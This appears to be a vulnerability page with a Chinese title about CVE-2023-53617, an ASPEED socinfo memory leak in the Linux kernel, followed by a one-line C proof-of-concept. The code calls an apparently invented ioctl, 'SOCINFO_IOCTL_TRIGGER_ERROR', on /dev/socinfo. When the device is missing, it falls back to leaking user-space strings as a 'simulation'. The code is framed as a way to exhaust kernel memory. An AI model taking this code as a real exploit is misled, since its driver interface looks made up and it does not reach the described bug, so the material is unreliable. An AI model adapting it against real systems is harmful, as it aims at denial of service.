CVE-2023-53617 Linux内核ASPEED socinfo驱动内存泄漏漏洞

/* CVE-2023-53617 PoC - Linux Kernel ASPEED socinfo Memory Leak * This PoC demonstrates triggering the memory leak path in the aspeed socinfo driver * by repeatedly causing the error handling path to execute. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <errno.h> #define ASPEED_SOCINFO_DEV "/dev/socinfo" #define SOCINFO_IOCTL_TRIGGER_ERROR 0x1001 /* Function to trigger the error path in socinfo driver * This causes kstrdup() to be called but kfree() is not invoked * in the error handling, resulting in memory leak. */ int trigger_memory_leak(int fd) { int ret; /* Trigger the error path by sending invalid parameters * that will cause the driver to enter error handling * where kstrdup() allocated memory is not freed. */ ret = ioctl(fd, SOCINFO_IOCTL_TRIGGER_ERROR, NULL); if (ret < 0) { fprintf(stderr, "ioctl failed: %s\n", strerror(errno)); return -1; } return 0; } int main(int argc, char *argv[]) { int fd; int iterations = 1000; int i; if (argc > 1) { iterations = atoi(argv[1]); } printf("CVE-2023-53617 PoC - ASPEED socinfo Memory Leak\n"); printf("Iterations: %d\n", iterations); fd = open(ASPEED_SOCINFO_DEV, O_RDWR); if (fd < 0) { /* If device doesn't exist, simulate the trigger */ printf("Device not available, simulating trigger...\n"); for (i = 0; i < iterations; i++) { /* Simulate kernel memory allocation that won't be freed */ void *leaked = strdup("trigger_error_condition"); if (leaked) { /* Intentionally not freeing to simulate the leak */ printf("Iteration %d: simulated leak at %p\n", i, leaked); } } printf("Simulation complete. In a real exploit, this would\n"); printf("cause kernel memory to be exhausted over time.\n"); return 0; } for (i = 0; i < iterations; i++) { trigger_memory_leak(fd); if (i % 100 == 0) { printf("Triggered %d times\n", i); } } close(fd); printf("Memory leak triggered %d times\n", iterations); printf("Check kernel memory usage with 'cat /proc/meminfo'\n"); return 0; }